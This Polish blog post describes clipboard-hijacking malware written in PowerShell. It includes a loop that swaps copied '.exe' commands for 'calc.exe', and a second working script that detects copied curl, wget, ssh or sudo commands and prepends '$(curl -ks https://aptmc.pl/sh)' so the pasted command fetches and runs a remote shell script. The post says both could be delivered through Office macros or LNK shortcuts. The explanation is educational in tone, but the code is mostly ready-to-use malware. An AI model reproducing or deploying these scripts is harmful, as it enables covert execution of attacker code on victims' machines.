while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 } - malutkie nadużycie schowka
Ten prosty onliner to potencjalny malware, który możnaa dostarczyć w złośliwym makrze dokumentów Microsoft Office, jako złośliwy skrót LNK czy na sto innych sposobów. Trochę bardziej czytelna wersja może wyglądać jak poniżej.
while(1) {
if ((Get-Clipboard) -match "\.exe") {
Set-Clipboard "calc.exe"
}
sleep 1
}
Co tam się dzieje? W nieskońćzonej pętli ( while(1) { ... }) sprawdzamy czy w zawartości schowka ( Get-Clipboard) znajduje się ciąg znaków .exe ( -match "\.exe"), co sugeruje, że ktoś skopiował jakieś polecenie do uruchomienia w terminalu. Jeśli tak, podmieniana jest zawartość schowka na program złośliwy, w naszym wypadku kalkulator ( Set-Clipboard "calc.exe"), co spowoduje, że użytkownik wklei do konsoli nie to, co tak naprawdę skopiował. W ostatnim koku zatrzymujemy program na 1 sekundę ( sleep 1) po czym procedura startuje od początku.
A coś bardziej?
Nieco bardziej wyszukany malware mógłby wyglądać następująco:
for (;;) {
$trigs = @("curl", "wget", "ssh", "sudo", "su -")
$addon = '$(curl -ks https://aptmc.pl/sh)'
$c = (get-clipboard -format Text|out-string).trim()
$trigs | % {
if ($c.Contains($_) -and -not $c.Contains($addon)) {
set-clipboard "$addon;$c`r`n"
}
}
start-sleep 2
}
W tym wypadku sprawdzamy czy w schowku znajduje się jedno z typowych poleceń wklejanych w systemacah Unix/Linux/MacOS i jeśli tak, dodajemy do uruchomienia polecenie znajdujące się w zmiennej $addon, które uruchomi skrypt sh znajdujący się pod wskazanym adresem.